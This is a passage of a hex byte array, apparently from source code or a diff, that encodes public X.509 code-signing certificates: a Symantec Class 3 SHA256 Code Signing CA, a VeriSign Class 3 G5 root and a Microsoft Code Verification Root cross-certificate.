0x04, 0x01, 0x30, 0x4C, 0x30, 0x23, 0x06, 0x08, - 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x02, 0x01, 0x16, 0x17, 0x68, 0x74, - 0x74, 0x70, 0x73, 0x3A, 0x2F, 0x2F, 0x64, 0x2E, 0x73, 0x79, 0x6D, 0x63, - 0x62, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x63, 0x70, 0x73, 0x30, 0x25, 0x06, - 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x02, 0x02, 0x30, 0x19, 0x0C, - 0x17, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3A, 0x2F, 0x2F, 0x64, 0x2E, 0x73, - 0x79, 0x6D, 0x63, 0x62, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x72, 0x70, 0x61, - 0x30, 0x13, 0x06, 0x03, 0x55, 0x1D, 0x25, 0x04, 0x0C, 0x30, 0x0A, 0x06, - 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x03, 0x30, 0x57, 0x06, - 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x01, 0x01, 0x04, 0x4B, 0x30, - 0x49, 0x30, 0x1F, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x30, - 0x01, 0x86, 0x13, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x73, 0x76, - 0x2E, 0x73, 0x79, 0x6D, 0x63, 0x64, 0x2E, 0x63, 0x6F, 0x6D, 0x30, 0x26, - 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x30, 0x02, 0x86, 0x1A, - 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x73, 0x76, 0x2E, 0x73, 0x79, - 0x6D, 0x63, 0x62, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x73, 0x76, 0x2E, 0x63, - 0x72, 0x74, 0x30, 0x1F, 0x06, 0x03, 0x55, 0x1D, 0x23, 0x04, 0x18, 0x30, - 0x16, 0x80, 0x14, 0x96, 0x3B, 0x53, 0xF0, 0x79, 0x33, 0x97, 0xAF, 0x7D, - 0x83, 0xEF, 0x2E, 0x2B, 0xCC, 0xCA, 0xB7, 0x86, 0x1E, 0x72, 0x66, 0x30, - 0x1D, 0x06, 0x03, 0x55, 0x1D, 0x0E, 0x04, 0x16, 0x04, 0x14, 0x65, 0xF2, - 0xC8, 0xCC, 0x11, 0xE2, 0xE2, 0x61, 0x27, 0x4D, 0xC3, 0xA7, 0xD4, 0xDC, - 0x07, 0xFB, 0x05, 0x39, 0xE3, 0xC2, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, - 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0B, 0x05, 0x00, 0x03, 0x82, 0x01, - 0x01, 0x00, 0x08, 0x8E, 0x59, 0x02, 0x9A, 0xBE, 0xF5, 0x49, 0xA3, 0x06, - 0x01, 0xC3, 0x9D, 0xB2, 0xCB, 0x68, 0x70, 0x32, 0xDE, 0x13, 0xF4, 0x0C, - 0x63, 0xBD, 0x0D, 0x88, 0xDB, 0xE8, 0x58, 0xD6, 0xDD, 0xDD, 0xBD, 0xC2, - 0x35, 0x04, 0x4F, 0x1F, 0x31, 0xDD, 0xF3, 0xF6, 0xC9, 0x60, 0x58, 0x32, - 0x64, 0xC9, 0xB7, 0x30, 0x6D, 0xAD, 0xB3, 0x8E, 0xB6, 0x41, 0x60, 0xA4, - 0x0E, 0x80, 0x4B, 0xFE, 0xE6, 0xDE, 0xAC, 0x62, 0x4B, 0x72, 0x83, 0xEB, - 0xA4, 0x85, 0x91, 0xDA, 0xA2, 0x2C, 0xA7, 0x52, 0x3B, 0x15, 0x18, 0xCE, - 0x79, 0x21, 0x15, 0xFB, 0xBC, 0x4D, 0x9C, 0x31, 0x2D, 0x82, 0x4D, 0xD0, - 0xC4, 0x56, 0x6A, 0xA9, 0x85, 0xE8, 0xA6, 0x0C, 0xB4, 0x86, 0x44, 0x7F, - 0xBB, 0xA0, 0xF2, 0xC1, 0xDE, 0x3E, 0xFF, 0x0D, 0x98, 0xCB, 0xDE, 0xEF, - 0x89, 0x65, 0x3F, 0x04, 0x52, 0x03, 0xFD, 0xA3, 0xB6, 0xA4, 0x21, 0xD0, - 0x8E, 0xD1, 0x3E, 0x45, 0x61, 0x6E, 0x7C, 0x19, 0x6E, 0xD5, 0x62, 0x84, - 0xB6, 0x8D, 0x16, 0xE2, 0x4E, 0x62, 0xBA, 0x82, 0x22, 0xFA, 0x6B, 0x15, - 0xC7, 0xB5, 0x86, 0x13, 0x2D, 0xD3, 0x77, 0x7B, 0x42, 0x90, 0x8D, 0x93, - 0x0A, 0xB0, 0x82, 0xF5, 0x49, 0x51, 0x6D, 0x88, 0x64, 0x49, 0xAE, 0x87, - 0xC2, 0x0B, 0xB0, 0xC8, 0x47, 0x47, 0x77, 0xDE, 0x6C, 0x91, 0x91, 0x7D, - 0x8F, 0x17, 0x34, 0x68, 0xF7, 0x2E, 0xF3, 0xF8, 0x98, 0x98, 0xFE, 0xD2, - 0xD8, 0x61, 0xC3, 0x1A, 0x8E, 0xA2, 0x65, 0x9E, 0xAB, 0xC3, 0xCC, 0x02, - 0x3E, 0x20, 0x08, 0xFC, 0xA2, 0x6F, 0x4C, 0x1C, 0x7D, 0x05, 0x59, 0x4F, - 0xAE, 0xCB, 0x6E, 0x43, 0x7D, 0x61, 0xC1, 0x1E, 0x94, 0x7F, 0x6F, 0xDB, - 0x6C, 0xC0, 0xDB, 0x9C, 0xDF, 0xD6, 0x54, 0x6D, 0x52, 0x12, 0xC9, 0x4E, - 0xD8, 0xA3, 0x7F, 0xB7, 0x23, 0xE7, 0x30, 0x82, 0x05, 0x59, 0x30, 0x82, - 0x04, 0x41, 0xA0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x10, 0x3D, 0x78, 0xD7, - 0xF9, 0x76, 0x49, 0x60, 0xB2, 0x61, 0x7D, 0xF4, 0xF0, 0x1E, 0xCA, 0x86, - 0x2A, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, - 0x01, 0x0B, 0x05, 0x00, 0x30, 0x81, 0xCA, 0x31, 0x0B, 0x30, 0x09, 0x06, - 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x17, 0x30, 0x15, - 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x0E, 0x56, 0x65, 0x72, 0x69, 0x53, - 0x69, 0x67, 0x6E, 0x2C, 0x20, 0x49, 0x6E, 0x63, 0x2E, 0x31, 0x1F, 0x30, - 0x1D, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x16, 0x56, 0x65, 0x72, 0x69, - 0x53, 0x69, 0x67, 0x6E, 0x20, 0x54, 0x72, 0x75, 0x73, 0x74, 0x20, 0x4E, - 0x65, 0x74, 0x77, 0x6F, 0x72, 0x6B, 0x31, 0x3A, 0x30, 0x38, 0x06, 0x03, - 0x55, 0x04, 0x0B, 0x13, 0x31, 0x28, 0x63, 0x29, 0x20, 0x32, 0x30, 0x30, - 0x36, 0x20, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x2C, 0x20, - 0x49, 0x6E, 0x63, 0x2E, 0x20, 0x2D, 0x20, 0x46, 0x6F, 0x72, 0x20, 0x61, - 0x75, 0x74, 0x68, 0x6F, 0x72, 0x69, 0x7A, 0x65, 0x64, 0x20, 0x75, 0x73, - 0x65, 0x20, 0x6F, 0x6E, 0x6C, 0x79, 0x31, 0x45, 0x30, 0x43, 0x06, 0x03, - 0x55, 0x04, 0x03, 0x13, 0x3C, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, - 0x6E, 0x20, 0x43, 0x6C, 0x61, 0x73, 0x73, 0x20, 0x33, 0x20, 0x50, 0x75, - 0x62, 0x6C, 0x69, 0x63, 0x20, 0x50, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, - 0x20, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x69, - 0x6F, 0x6E, 0x20, 0x41, 0x75, 0x74, 0x68, 0x6F, 0x72, 0x69, 0x74, 0x79, - 0x20, 0x2D, 0x20, 0x47, 0x35, 0x30, 0x1E, 0x17, 0x0D, 0x31, 0x33, 0x31, - 0x32, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5A, 0x17, 0x0D, - 0x32, 0x33, 0x31, 0x32, 0x30, 0x39, 0x32, 0x33, 0x35, 0x39, 0x35, 0x39, - 0x5A, 0x30, 0x7F, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, - 0x13, 0x02, 0x55, 0x53, 0x31, 0x1D, 0x30, 0x1B, 0x06, 0x03, 0x55, 0x04, - 0x0A, 0x13, 0x14, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, - 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, - 0x1F, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x16, 0x53, 0x79, - 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x54, 0x72, 0x75, 0x73, 0x74, - 0x20, 0x4E, 0x65, 0x74, 0x77, 0x6F, 0x72, 0x6B, 0x31, 0x30, 0x30, 0x2E, - 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x27, 0x53, 0x79, 0x6D, 0x61, 0x6E, - 0x74, 0x65, 0x63, 0x20, 0x43, 0x6C, 0x61, 0x73, 0x73, 0x20, 0x33, 0x20, - 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x20, 0x43, 0x6F, 0x64, 0x65, 0x20, - 0x53, 0x69, 0x67, 0x6E, 0x69, 0x6E, 0x67, 0x20, 0x43, 0x41, 0x30, 0x82, - 0x01, 0x22, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, - 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x01, 0x0F, 0x00, 0x30, 0x82, - 0x01, 0x0A, 0x02, 0x82, 0x01, 0x01, 0x00, 0x97, 0x83, 0x1E, 0x00, 0x16, - 0xAF, 0x2C, 0xB1, 0xD2, 0x08, 0xC4, 0xD7, 0x68, 0x93, 0x51, 0x60, 0x1E, - 0x71, 0xF6, 0xE2, 0x47, 0xB4, 0xDB, 0x58, 0x4D, 0x23, 0x62, 0x6A, 0xB4, - 0xBF, 0x5A, 0x1B, 0x51, 0xF7, 0xA3, 0x0D, 0x18, 0x77, 0x68, 0xBB, 0xD8, - 0x36, 0xAB, 0x2F, 0x21, 0x50, 0xDA, 0x9E, 0xF3, 0xE7, 0x5F, 0x27, 0x4E, - 0x0B, 0xC2, 0x97, 0xC8, 0x09, 0x70, 0x93, 0xA9, 0xDA, 0x5C, 0x0D, 0x4E, - 0xA4, 0x0D, 0x91, 0xA0, 0xB4, 0xEC, 0x14, 0xCE, 0x91, 0x72, 0x54, 0x2E, - 0xCE, 0xA3, 0xDB, 0x44, 0xE9, 0x52, 0x1B, 0x3F, 0x41, 0x3C, 0xCA, 0x4A, - 0xE4, 0xAA, 0xC0, 0xE8, 0x39, 0xAB, 0x53, 0xCC, 0x21, 0xD0, 0xCC, 0xCF, - 0x7F, 0x9B, 0xE6, 0xC2, 0xCC, 0x58, 0x6A, 0x82, 0x15, 0xEE, 0x3D, 0x36, - 0xCF, 0x1C, 0xC5, 0x97, 0x07, 0x24, 0x8E, 0xF1, 0x7B, 0xBE, 0x31, 0x2D, - 0x3D, 0x6E, 0xDC, 0xB5, 0x99, 0x42, 0x9F, 0x4B, 0x61, 0x95, 0x5F, 0x1C, - 0x70, 0xEE, 0x17, 0x7D, 0xDB, 0x8B, 0xE5, 0x61, 0x89, 0x78, 0xC7, 0x68, - 0x1B, 0xAF, 0x11, 0x78, 0x1A, 0x98, 0xAE, 0xC4, 0x55, 0x47, 0x53, 0xD9, - 0xB3, 0x32, 0xD6, 0xA1, 0x0E, 0x46, 0x40, 0xC5, 0x97, 0x92, 0x8A, 0xD1, - 0x53, 0xA7, 0x99, 0x5B, 0x85, 0x35, 0x57, 0xD3, 0xEA, 0x93, 0x62, 0x61, - 0x20, 0x0A, 0xC7, 0x30, 0x77, 0x24, 0x11, 0x4D, 0x62, 0x83, 0xB6, 0xBA, - 0x7B, 0x68, 0x82, 0x31, 0xEE, 0x65, 0xCA, 0xDF, 0xF9, 0xD5, 0x8D, 0xB2, - 0x35, 0xDC, 0x8C, 0x2B, 0x6F, 0x6A, 0x72, 0x5C, 0x60, 0x84, 0x9C, 0xF2, - 0x0C, 0x94, 0x5E, 0xC0, 0x56, 0x52, 0x00, 0x48, 0xCC, 0xD3, 0xF8, 0xA5, - 0x7D, 0xDE, 0x2F, 0xD7, 0x13, 0xE4, 0x38, 0xA8, 0x84, 0xD5, 0x46, 0xB8, - 0x13, 0x86, 0xC2, 0x1B, 0x9D, 0xEA, 0x5A, 0x38, 0xDD, 0x9B, 0xDB, 0x02, - 0x03, 0x01, 0x00, 0x01, 0xA3, 0x82, 0x01, 0x83, 0x30, 0x82, 0x01, 0x7F, - 0x30, 0x2F, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x01, 0x01, - 0x04, 0x23, 0x30, 0x21, 0x30, 0x1F, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, - 0x05, 0x07, 0x30, 0x01, 0x86, 0x13, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, - 0x2F, 0x73, 0x32, 0x2E, 0x73, 0x79, 0x6D, 0x63, 0x62, 0x2E, 0x63, 0x6F, - 0x6D, 0x30, 0x12, 0x06, 0x03, 0x55, 0x1D, 0x13, 0x01, 0x01, 0xFF, 0x04, - 0x08, 0x30, 0x06, 0x01, 0x01, 0xFF, 0x02, 0x01, 0x00, 0x30, 0x6C, 0x06, - 0x03, 0x55, 0x1D, 0x20, 0x04, 0x65, 0x30, 0x63, 0x30, 0x61, 0x06, 0x0B, - 0x60, 0x86, 0x48, 0x01, 0x86, 0xF8, 0x45, 0x01, 0x07, 0x17, 0x03, 0x30, - 0x52, 0x30, 0x26, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x02, - 0x01, 0x16, 0x1A, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x77, 0x77, - 0x77, 0x2E, 0x73, 0x79, 0x6D, 0x61, 0x75, 0x74, 0x68, 0x2E, 0x63, 0x6F, - 0x6D, 0x2F, 0x63, 0x70, 0x73, 0x30, 0x28, 0x06, 0x08, 0x2B, 0x06, 0x01, - 0x05, 0x05, 0x07, 0x02, 0x02, 0x30, 0x1C, 0x1A, 0x1A, 0x68, 0x74, 0x74, - 0x70, 0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x73, 0x79, 0x6D, 0x61, - 0x75, 0x74, 0x68, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x72, 0x70, 0x61, 0x30, - 0x30, 0x06, 0x03, 0x55, 0x1D, 0x1F, 0x04, 0x29, 0x30, 0x27, 0x30, 0x25, - 0xA0, 0x23, 0xA0, 0x21, 0x86, 0x1F, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, - 0x2F, 0x73, 0x31, 0x2E, 0x73, 0x79, 0x6D, 0x63, 0x62, 0x2E, 0x63, 0x6F, - 0x6D, 0x2F, 0x70, 0x63, 0x61, 0x33, 0x2D, 0x67, 0x35, 0x2E, 0x63, 0x72, - 0x6C, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x1D, 0x25, 0x04, 0x16, 0x30, 0x14, - 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x02, 0x06, 0x08, - 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x03, 0x30, 0x0E, 0x06, 0x03, - 0x55, 0x1D, 0x0F, 0x01, 0x01, 0xFF, 0x04, 0x04, 0x03, 0x02, 0x01, 0x06, - 0x30, 0x29, 0x06, 0x03, 0x55, 0x1D, 0x11, 0x04, 0x22, 0x30, 0x20, 0xA4, - 0x1E, 0x30, 0x1C, 0x31, 0x1A, 0x30, 0x18, 0x06, 0x03, 0x55, 0x04, 0x03, - 0x13, 0x11, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x50, 0x4B, - 0x49, 0x2D, 0x31, 0x2D, 0x35, 0x36, 0x37, 0x30, 0x1D, 0x06, 0x03, 0x55, - 0x1D, 0x0E, 0x04, 0x16, 0x04, 0x14, 0x96, 0x3B, 0x53, 0xF0, 0x79, 0x33, - 0x97, 0xAF, 0x7D, 0x83, 0xEF, 0x2E, 0x2B, 0xCC, 0xCA, 0xB7, 0x86, 0x1E, - 0x72, 0x66, 0x30, 0x1F, 0x06, 0x03, 0x55, 0x1D, 0x23, 0x04, 0x18, 0x30, - 0x16, 0x80, 0x14, 0x7F, 0xD3, 0x65, 0xA7, 0xC2, 0xDD, 0xEC, 0xBB, 0xF0, - 0x30, 0x09, 0xF3, 0x43, 0x39, 0xFA, 0x02, 0xAF, 0x33, 0x31, 0x33, 0x30, - 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0B, - 0x05, 0x00, 0x03, 0x82, 0x01, 0x01, 0x00, 0x13, 0x85, 0x1A, 0x1E, 0x69, - 0xA9, 0x37, 0xF7, 0xA0, 0xBD, 0xA4, 0xAF, 0x7E, 0x1D, 0x61, 0x53, 0xFE, - 0x9D, 0x8C, 0x5E, 0x0C, 0xA6, 0x75, 0x1E, 0x78, 0x17, 0x23, 0xDD, 0xFD, - 0xEC, 0x1A, 0x03, 0x55, 0x39, 0xFB, 0x71, 0x95, 0xC7, 0x65, 0x5A, 0xA7, - 0x8E, 0x30, 0xD2, 0x44, 0x5A, 0x61, 0xDB, 0x70, 0x6F, 0xDA, 0x21, 0x05, - 0xC2, 0x2E, 0x73, 0xBA, 0x49, 0xF1, 0xD1, 0x93, 0xFE, 0x5D, 0xC9, 0xCD, - 0x5E, 0x03, 0xE0, 0x89, 0x9E, 0x3F, 0x74, 0x1E, 0xD7, 0xF7, 0x38, 0x8B, - 0xA9, 0xD6, 0xCF, 0xBB, 0x35, 0x2F, 0x33, 0x58, 0xA8, 0x92, 0x56, 0xD1, - 0xC8, 0x4D, 0x3B, 0x82, 0xE6, 0x79, 0x84, 0x16, 0xFC, 0x28, 0xB0, 0xB1, - 0x47, 0xF3, 0x1D, 0xA2, 0x3E, 0xEE, 0x87, 0xD9, 0xA6, 0x7F, 0xA4, 0x56, - 0xA5, 0x3F, 0xAD, 0x84, 0x2E, 0x29, 0xDE, 0x7C, 0xBC, 0xA8, 0xAA, 0xA3, - 0x3D, 0x04, 0x01, 0xEA, 0xBA, 0x93, 0xA2, 0x0E, 0x50, 0x22, 0x29, 0x17, - 0x4C, 0x87, 0xE4, 0x3A, 0x11, 0x5F, 0xD6, 0xA4, 0x25, 0x89, 0x9B, 0x05, - 0x6B, 0x2F, 0xB4, 0xC9, 0x01, 0x4C, 0x27, 0x7B, 0x0B, 0xAC, 0x19, 0x05, - 0x22, 0xA0, 0x60, 0x15, 0x3F, 0xDA, 0xC9, 0xFB, 0x4D, 0x4C, 0x8F, 0xFB, - 0x72, 0x67, 0x77, 0xFD, 0x27, 0x94, 0xC7, 0xBA, 0x35, 0x0E, 0x88, 0x49, - 0xFE, 0x8D, 0xFD, 0x28, 0xAF, 0x4A, 0x12, 0xBD, 0x0D, 0xB3, 0x97, 0x05, - 0xDE, 0x44, 0x0C, 0x15, 0xFA, 0x36, 0x2B, 0x03, 0xDC, 0xC1, 0x50, 0x01, - 0xF1, 0xA1, 0x11, 0x5D, 0x14, 0xE5, 0xE2, 0xBD, 0x27, 0x4B, 0x54, 0xBE, - 0x2B, 0x84, 0x5E, 0x0F, 0xA6, 0xC3, 0x74, 0x05, 0x0A, 0xEF, 0x97, 0xC3, - 0x89, 0x22, 0xB1, 0x1F, 0x77, 0xF3, 0xBD, 0xCD, 0x43, 0xD4, 0xF1, 0x4C, - 0xA9, 0x3F, 0xB5, 0x8B, 0x84, 0xAF, 0x64, 0xF2, 0xD0, 0x14, 0x21, 0x30, - 0x82, 0x05, 0x9A, 0x30, 0x82, 0x03, 0x82, 0xA0, 0x03, 0x02, 0x01, 0x02, - 0x02, 0x0A, 0x61, 0x19, 0x93, 0xE4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, - 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, - 0x05, 0x05, 0x00, 0x30, 0x7F, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, - 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, - 0x55, 0x04, 0x08, 0x13, 0x0A, 0x57, 0x61, 0x73, 0x68, 0x69, 0x6E, 0x67, - 0x74, 0x6F, 0x6E, 0x31, 0x10, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x04, 0x07, - 0x13, 0x07, 0x52, 0x65, 0x64, 0x6D, 0x6F, 0x6E, 0x64, 0x31, 0x1E, 0x30, - 0x1C, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x15, 0x4D, 0x69, 0x63, 0x72, - 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, - 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x29, 0x30, 0x27, 0x06, 0x03, 0x55, - 0x04, 0x03, 0x13, 0x20, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, - 0x74, 0x20, 0x43, 0x6F, 0x64, 0x65, 0x20, 0x56, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x52, 0x6F, 0x6F, 0x74, - 0x30, 0x1E, 0x17, 0x0D, 0x31, 0x31, 0x30, 0x32, 0x32, 0x32, 0x31, 0x39, - 0x32, 0x35, 0x31, 0x37, 0x5A, 0x17, 0x0D, 0x32, 0x31, 0x30, 0x32, 0x32, - 0x32, 0x31, 0x39, 0x33, 0x35, 0x31, 0x37, 0x5A, 0x30, 0x81, 0xCA, 0x31, - 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, - 0x31, 0x17, 0x30, 0x15, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x0E, 0x56, - 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x2C, 0x20, 0x49, 0x6E, 0x63, - 0x2E, 0x31, 0x1F, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x16, - 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x20, 0x54, 0x72, 0x75, - 0x73, 0x74, 0x20, 0x4E, 0x65, 0x74, 0x77, 0x6F, 0x72, 0x6B, 0x31, 0x3A, - 0x30, 0x38, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x31, 0x28, 0x63, 0x29, - 0x20, 0x32, 0x30, 0x30, 0x36, 0x20, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, - 0x67, 0x6E, 0x2C, 0x20, 0x49, 0x6E, 0x63, 0x2E, 0x20, 0x2D, 0x20, 0x46, - 0x6F, 0x72, 0x20, 0x61, 0x75, 0x74, 0x68, 0x6F, 0x72, 0x69, 0x7A, 0x65, - 0x64, 0x20, 0x75, 0x73, 0x65, 0x20, 0x6F, 0x6E, 0x6C, 0x79, 0x31, 0x45, - 0x30, 0x43, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x3C, 0x56, 0x65, 0x72, - 0x69, 0x53, 0x69, 0x67, 0x6E, 0x20, 0x43, 0x6C, 0x61, 0x73, 0x73, 0x20, - 0x33, 0x20, 0x50, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x50, 0x72, 0x69, - 0x6D, 0x61, 0x72, 0x79, 0x20, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, - 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x41, 0x75, 0x74, 0x68, 0x6F, - 0x72, 0x69, 0x74, 0x79, 0x20, 0x2D, 0x20, 0x47, 0x35, 0x30, 0x82, 0x01, - 0x22, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, - 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x01, 0x0F, 0x00, 0x30, 0x82, 0x01, - 0x0A, 0x02, 0x82, 0x01, 0x01, 0x00, 0xAF, 0x24, 0x08, 0x08, 0x29, 0x7A, - 0x35, 0x9E, 0x60, 0x0C, 0xAA, 0xE7, 0x4B, 0x3B, 0x4E, 0xDC, 0x7C, 0xBC, - 0x3C, 0x45, 0x1C, 0xBB, 0x2B, 0xE0, 0xFE, 0x29, 0x02, 0xF9, 0x57, 0x08, - 0xA3, 0x64, 0x85, 0x15, 0x27, 0xF5, 0xF1, 0xAD, 0xC8, 0x31, 0x89, 0x5D, - 0x22, 0xE8, 0x2A, 0xAA, 0xA6, 0x42, 0xB3, 0x8F, 0xF8, 0xB9, 0x55, 0xB7, - 0xB1, 0xB7, 0x4B, 0xB3, 0xFE, 0x8F, 0x7E, 0x07, 0x57, 0xEC, 0xEF, 0x43, - 0xDB, 0x66, 0x62, 0x15, 0x61, 0xCF, 0x60, 0x0D, 0xA4, 0xD8, 0xDE, 0xF8, - 0xE0, 0xC3, 0x62, 0x08, 0x3D, 0x54, 0x13, 0xEB, 0x49, 0xCA, 0x59, 0x54, - 0x85, 0x26, 0xE5, 0x2B, 0x8F, 0x1B, 0x9F, 0xEB, 0xF5, 0xA1, 0x91, 0xC2, - 0x33, 0x49, 0xD8, 0x43, 0x63, 0x6A, 0x52, 0x4B, 0xD2, 0x8F, 0xE8, 0x70, - 0x51, 0x4D, 0xD1, 0x89, 0x69, 0x7B, 0xC7, 0x70, 0xF6, 0xB3, 0xDC, 0x12, - 0x74, 0xDB, 0x7B, 0x5D, 0x4B, 0x56, 0xD3, 0x96, 0xBF, 0x15, 0x77, 0xA1, - 0xB0, 0xF4, 0xA2, 0x25, 0xF2, 0xAF, 0x1C, 0x92, 0x67, 0x18, 0xE5, 0xF4, - 0x06, 0x04, 0xEF, 0x90, 0xB9, 0xE4, 0x00, 0xE4, 0xDD, 0x3A, 0xB5, 0x19, - 0xFF, 0x02, 0xBA, 0xF4, 0x3C, 0xEE, 0xE0, 0x8B, 0xEB, 0x37, 0x8B, 0xEC, - 0xF4, 0xD7, 0xAC, 0xF2, 0xF6, 0xF0, 0x3D, 0xAF, 0xDD, 0x75, 0x91, 0x33, - 0x19, 0x1D, 0x1C, 0x40, 0xCB, 0x74, 0x24, 0x19, 0x21, 0x93, 0xD9, 0x14, - 0xFE, 0xAC, 0x2A, 0x52, 0xC7, 0x8F, 0xD5, 0x04, 0x49, 0xE4, 0x8D, 0x63, - 0x47, 0x88, 0x3C, 0x69, 0x83, 0xCB, 0xFE, 0x47, 0xBD, 0x2B, 0x7E, 0x4F, - 0xC5, 0x95, 0xAE, 0x0E, 0x9D, 0xD4, 0xD1, 0x43, 0xC0, 0x67, 0x73, 0xE3, - 0x14, 0x08, 0x7E, 0xE5, 0x3F, 0x9F, 0x73, 0xB8, 0x33, 0x0A, 0xCF, 0x5D, - 0x3F, 0x34, 0x87, 0x96, 0x8A, 0xEE, 0x53, 0xE8, 0x25, 0x15, 0x02, 0x03, - 0x01, 0x00, 0x01, 0xA3, 0x81, 0xCB, 0x30, 0x81, 0xC8, 0x30, 0x11, 0x06, - 0x03, 0x55, 0x1D, 0x20, 0x04, 0x0A, 0x30, 0x08, 0x30, 0x06, 0x06, 0x04, - 0x55, 0x1D, 0x20, 0x00, 0x30, 0x0F, 0x06, 0x03, 0x55, 0x1D, 0x13, 0x01, - 0x01, 0xFF, 0x04, 0x05, 0x30, 0x03, 0x01, 0x01, 0xFF, 0x30, 0x0B, 0x06, - 0x03, 0x55, 0x1D, 0x0F, 0x04, 0x04, 0x03, 0x02, 0x01, 0x86, 0x30, 0x1D, - 0x06, 0x03, 0x55, 0x1D, 0x0E, 0x04, 0x16, 0x04, 0x14, 0x7F, 0xD3, 0x65, - 0xA7, 0xC2, 0xDD, 0xEC, 0xBB, 0xF0, 0x30, 0x09, 0xF3, 0x43, 0x39, 0xFA, - 0x02, 0xAF, 0x33, 0x31, 0x33, 0x30, 0x1F, 0x06, 0x03, 0x55, 0x1D, 0x23, - 0x04, 0x18, 0x30, 0x16, 0x80, 0x14, 0x62, 0xFB, 0x0A, 0x21, 0x5B, 0x7F, - 0x43, 0x6E, 0x11, 0xDA, 0x09, 0x54, 0x50, 0x6B, 0xF5, 0xD2, 0x96, 0x71, - 0xF1, 0x9E, 0x30, 0x55, 0x06, 0x03, 0x55, 0x1D, 0x1F, 0x04, 0x4E, 0x30, - 0x4C, 0x30, 0x4A, 0xA0, 0x48, 0xA0, 0x46, 0x86, 0x44, 0x68, 0x74, 0x74, - 